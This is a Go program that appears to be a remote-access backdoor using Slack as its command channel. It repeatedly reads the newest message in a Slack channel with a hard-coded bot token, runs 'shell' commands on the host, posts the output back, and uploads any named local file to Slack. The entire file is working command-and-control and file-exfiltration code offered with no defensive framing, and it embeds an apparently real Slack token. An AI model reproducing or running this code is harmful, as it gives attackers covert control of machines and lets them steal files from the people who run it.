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| package main
import (
"bytes"
"fmt"
"github.com/tidwall/gjson"
"io"
"io/ioutil"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)
const (
HistoryApi = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
FileUpload = "https://slack.com/api/files.upload"
Token = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
Channel = "C01BS6GEUJH"
)
var Timer = 10
func sleep() {
fmt.Sprintf("sleep %s",Timer)
time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
for true {
result := ApiGet(HistoryApi, "messages.0.text")
if strings.HasPrefix(result.Str, "shell") {
cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
ApiPost(cmdRes, PostMessage)
} else if strings.HasPrefix(result.Str, "exit") {
os.Exit(0)
} else if strings.HasPrefix(result.Str, "sleep") {
s := strings.Split(result.Str, " ")[1]
atoi, err := strconv.Atoi(s)
if err != nil {
ApiPost(err.Error(), PostMessage)
}
Timer = atoi
} else if strings.HasPrefix(result.Str, "download") {
filename := strings.Split(result.Str, " ")[1]
ApiUpload(filename)
} else {
fmt.Println("no command")
}
sleep()
}
}
func ExecCommand(command []string) (out string) {
fmt.Println(command)
cmd := exec.Command(command[0], command[1:]...)
o, err := cmd.CombinedOutput()
if err != nil {
out = fmt.Sprintf("shell run error: \n%s\n", err)
} else {
out = fmt.Sprintf("combined out:\n%s\n", string(o))
}
return
}
func ApiGet(apiUrl string, rule string) gjson.Result {
r, err := http.NewRequest("GET", apiUrl, nil)
query := r.URL.Query()
query.Add("token", Token)
query.Add("channel", Channel)
query.Add("pretty", "1")
query.Add("limit", "1")
r.URL.RawQuery = query.Encode()
response, err := http.DefaultClient.Do(r)
defer response.Body.Close()
if err != nil {
return gjson.Result{}
}
bytes, _ := ioutil.ReadAll(response.Body)
//fmt.Println(string(bytes))
return gjson.GetBytes(bytes, rule)
}
func ApiPost(text string, apiUrl string) {
var r http.Request
r.ParseForm()
r.Form.Add("token", Token)
r.Form.Add("channel", Channel)
r.Form.Add("pretty", "1")
r.Form.Add("text", text)
r.Form.Add("mrkdwn", "false")
body := strings.NewReader(r.Form.Encode())
response, err := http.Post(apiUrl, "application/x-www-form-urlencoded", body)
if err != nil {
return
}
bytes, _ := ioutil.ReadAll(response.Body)
ok := gjson.GetBytes(bytes, "ok")
fmt.Println(ok)
}
func ApiUpload(filename string) {
//fmt.Println(filename)
// 创建表单文件
// CreateFormFile 用来创建表单，第一个参数是字段名，第二个参数是文件名
buf := new(bytes.Buffer)
writer := multipart.NewWriter(buf)
writer.WriteField("token", Token)
writer.WriteField("pretty", "1")
writer.WriteField("channels", Channel)
//writer.WriteField("filetype", "text")
formFile, err := writer.CreateFormFile("file", filepath.Base(filename))
if err != nil {
log.Fatalf("Create form file failed: %s\n", err)
}
// 从文件读取数据，写入表单
srcFile, err := os.Open(filename)
if err != nil {
log.Fatalf("%Open source file failed: s\n", err)
}
defer srcFile.Close()
_, err = io.Copy(formFile, srcFile)
if err != nil {
log.Fatalf("Write to form file falied: %s\n", err)
}
// 发送表单
contentType := writer.FormDataContentType()
writer.Close() // 发送之前必须调用Close()以写入结尾行
_, err = http.Post(FileUpload, contentType, buf)
if err != nil {
log.Fatalf("Post failed: %s\n", err)
}
//all, err := ioutil.ReadAll(resp.Body)
//fmt.Println(string(all))
}
|
